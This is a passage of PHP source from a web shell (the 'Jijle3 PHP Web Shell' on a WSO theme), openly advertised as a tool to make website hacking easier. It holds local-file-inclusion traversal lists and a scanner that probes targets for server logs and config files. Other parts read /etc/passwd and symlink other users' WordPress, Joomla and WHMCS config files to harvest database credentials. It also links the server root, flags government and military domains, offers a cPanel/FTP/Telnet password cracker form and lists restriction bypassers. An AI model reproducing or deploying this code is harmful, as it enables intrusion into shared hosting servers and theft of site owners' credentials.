$lfierror = array(
1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
$lficonfig = array(
1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
$lfiphpini = array(
1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
$lfimysql = array(
1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
$lfiftp = array(
1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
$x = 1;
if ( $type == 1 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiaccess[$x]) {
$res3 = FetchURL($target.$lfiaccess[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 2 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lficonfig[$x]) {
$res3 = FetchURL($target.$lficonfig[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 3 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfierror[$x]) {
$res3 = FetchURL($target.$lfierror[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 4 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiphpini[$x]) {
$res3 = FetchURL($target.$lfiphpini[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 5 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfimysql[$x]) {
$res3 = FetchURL($target.$lfimysql[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 6 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiftp[$x]) {
$res3 = FetchURL($target.$lfiftp[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 7 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
$res3 = FetchURL($target.$lfiprocenv);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
}
}
}
}
}
wsoFooter();
}
###################### Config Grabber ######################
function actionconfig() {
wsoHeader();
echo "<center>
<h1>Config Grabber</h1>
";
?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="white" size="2pt">Put /etc/passwd</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd');
?>
</textarea><br><br><input name="config" class='inputzbut' size="100" value="Get The Configs !" type="submit"><br><input type="hidden" name="a" value="config"></form></center><br>
<?php }if ($_POST['config']) {
$function = $functions=@ini_get("disable_functions");
if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('phdz-config', 0755);@chdir('phdz-config');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("
",$passwd);echo "<br><br><center><font>Bism Allah</center><br>";
foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
echo '<b class="cone"><font><b>Configs Link : </b> <a target="_blank" href="phdz-config">[ Configs ]</a></font></b>';}
wsoFooter();}
###################### About ############################
function actionabout() {
wsoHeader();
echo'
<center>
<h1>[ About ]</h1>
<br /><br />
</form>
';
?><head>
<span class="style1"><font size="3" color="#FFFFFF" face="Adobe Heiti Std R"></font> <div style='font-family: Courier New; font-size: 10px;'><font color='white' class=txt ><pre>
_ _ _ _ _____ ____ _ _ ____
| | (_) (_) | | ___ |___ / | _ \ | | | | | _ \
_ | | | | | | | | / _ \ |_ \ | |_) | | |_| | | |_) |
| |_| | | | | | | | | __/ ___) | | __/ | _ | | __/
\___/ |_| _/ | |_| \___| |____/ |_| |_| |_| |_|
|__/
____ _ _ _
/ ___| | |__ ___ | | | |
\___ \ | '_ \ / _ \ | | | |
___) | | | | | | __/ | | | |
|____/ |_| |_| \___| |_| |_|
<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><p>
<pre>
<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&width&height=62&colorscheme=light&show_faces=false&header=true&stream=false&show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre>
<p><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
Jijle3 PHP Web Shell Created To Make Web Site Hacking More Easy ..<br><br> And To Gev You Some Normal Tools ! With WSO Theme<br><br> iF You Want Me To Add A Notther Tools in Secend Virsion Mail Me in My E-mail Bellow Or in My Facebook Page !<br><br></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
<div style='font-family: Courier New; font-size: 10px;'><font size='2' class=txt ><pre>
Coded By Phenomene Dz <br>Algeria - Jijel<br>Finished in 2015/02/03<br>My Email - [email protected] -<br>Youtube Channel <a href="http://www.youtube.com/DZPH/" target="_blank">YouTube</a><br><br>All Right Reserved (C) Phenomene Dz - Martyrs Crew 2015
<font size="13" face="Adobe Heiti Std R" color="red"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
[ Thanks To ] <br><br>Abod Hack - Red Ck - Ghost1145 - Prodigy Tn - EL Moj4hid - Ghost dz - L'Apoca Dz - Mr Dz Gang <br><br> Sy3i4n K!lle3 - Red Hell Sofyan - Algeriano - Hero Dz - Cesc Dz - X Zone - K2ll33d - Almokawim <br><br> Martyrs Team - Algerian To The Core - 1337day Community Algeria - Fallaga Team <br><br> AnonGhost Team - Dz Team - Anonymous Dz - Backup Sec Dz <br><br> Sec4ever.com - Gaza-Hacker.net - Dev-Tun.tn - Fallaga.tn - Aljyyosh.com - dz-root.com - is-sec.com <br><br> And All My Freinds - All Muslims Hackers - All Algerian Hackers <font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p>
<?
wsoFooter(); }
###################### Symlink Server ############################
function actionsymserver() {
wsoHeader();
echo'<center><h1>Symlink Server</h1><br>';
@set_time_limit(0);
echo "<center>";
@mkdir('phdz-symserver',0777);
$htaccess = "Options all
DirectoryIndex readme.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('phdz-symserver/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','phdz-symserver/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'>[ /etc/named.conf ] ==> Not Writeable !</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
wsoFooter(); }
###################### Cpanel Cracker ############################
function actioncpcrack() {
wsoHeader();
// Cpanel Cracker
echo "<center>
<h1>Cpanel Cracker</h1>
<br>
";
{
$cpanel_port="2082";
$connect_timeout=5;
?>
<center>
<form method=post>
<table style="border:none; overflow:hidden; height:90px;" border=1 cellpadding=4>
<tr>
<td align=center colspan=2>Target <br><input type=text name="server" value="localhost" class=sbox></td>
</tr>
<tr>
<td align=center>[ User names ]</td><td align=center>[ Password ]</td>
</tr>
<tr>
<td align=center><textarea name=username rows=20 cols=20 class=box><?php
if($os != "Windows")
{
if(@file('/etc/passwd'))
{
$users = file('/etc/passwd');
foreach($users as $user)
{
$user = explode(':', $user);
echo $user[0] . "
";
}
}
else
{
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(':',$uid)."
";
}
$temp = trim($temp);
if($file5 = fopen("test.txt","w"))
{
fputs($file5,$temp);
fclose($file5);
$file = fopen("test.txt", "r");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo $matches;
}
fclose($file);
}
}
}
?></textarea></td><td align=center><textarea name=password rows=20 cols=20 class=box></textarea></td>
</tr>
<tr>
<td align=center colspan=2>Guess options : <label><input name="cpcrack" type="radio" value="cpanel" checked>[ Cpanel(2082) ]</label><label><input name="cpcrack" type="radio" value="ftp"> [ Ftp(21) ]</label><label><input name="cpcrack" type="radio" value="telnet"> [ Telnet(23) ]</label></td>
</tr>
<tr>
<td align=center colspan=2>Timeout delay : <br><input type="text" name="delay" value=6 class=sbox></td>
</tr>
<tr>
<td align=center colspan=2><input type="hidden" name="a" value="cpcrack"><input type="submit" name="cpcrack" value=">>" class=but></td>
</tr>
</table>
</form>
</center>
<?php
}
wsoFooter();
}
///Menus
####################### Baypassers #########################
function actionbypss() {
wsoHeader();
echo'
<center>
<a href=# onclick="g(\'bypassing\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Jijle3 Bypasser ]</a><br><br>
<a href=# onclick="g(\'etcnmd\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Server User Function Bypasser ]</a><br><br>
<a href=# onclick="g(\'etcbaypass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Etc/passwd/ Function Bypasser ]</a><br><br>
<a href=# onclick="g(\'SafeMode\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Safe Mode Bypass ]</a><br>
';
wsoFooter();}
####################### bypassing #########################
function actionbypassing() {
wsoHeader();
echo '<center><h1>Jijle3 Function Bypasser </h1>';
error_reporting(0);
set_magic_quotes_runtime(0);
if(version_compare(phpversion(), '4.1.0') == -1)
{$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
}function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
if (strstr ($requ,$link)){return preg_replace("/$link=[\d\w\W\D\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\d\w\W\D\S]*/","$link=$val",$requ);}
